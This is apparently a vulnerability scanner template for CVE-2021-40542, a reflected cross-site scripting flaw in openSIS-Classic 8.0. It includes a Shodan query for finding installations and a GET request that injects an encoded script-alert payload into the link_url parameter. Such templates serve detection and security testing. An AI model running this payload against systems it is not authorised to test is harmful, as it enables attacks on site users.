id: CVE-2021-40542 info: name: Opensis-Classic 8.0 - Cross-Site Scripting author: alph4byt3 severity: medium description: | Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php. remediation: | To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor. reference: - https://github.com/OS4ED/openSIS-Classic/issues/189 - https://nvd.nist.gov/vuln/detail/CVE-2021-40542 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-40542 cwe-id: CWE-79 epss-score: 0.00643 epss-percentile: 0.7695 cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: os4ed product: opensis shodan-query: http.title:"openSIS" tags: xss,cve,cve2021,opensis http: - method: GET path: - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100827ed4e4e4aa1f0b44963825839fce7d7c02611d198206b41a424770e06169e4022100fd1bea9d9ad8a000a62498c0bb5126d988ec3df2e093c14bc58132ffc800cddf:922c64590222798bb761d5b6d8e72950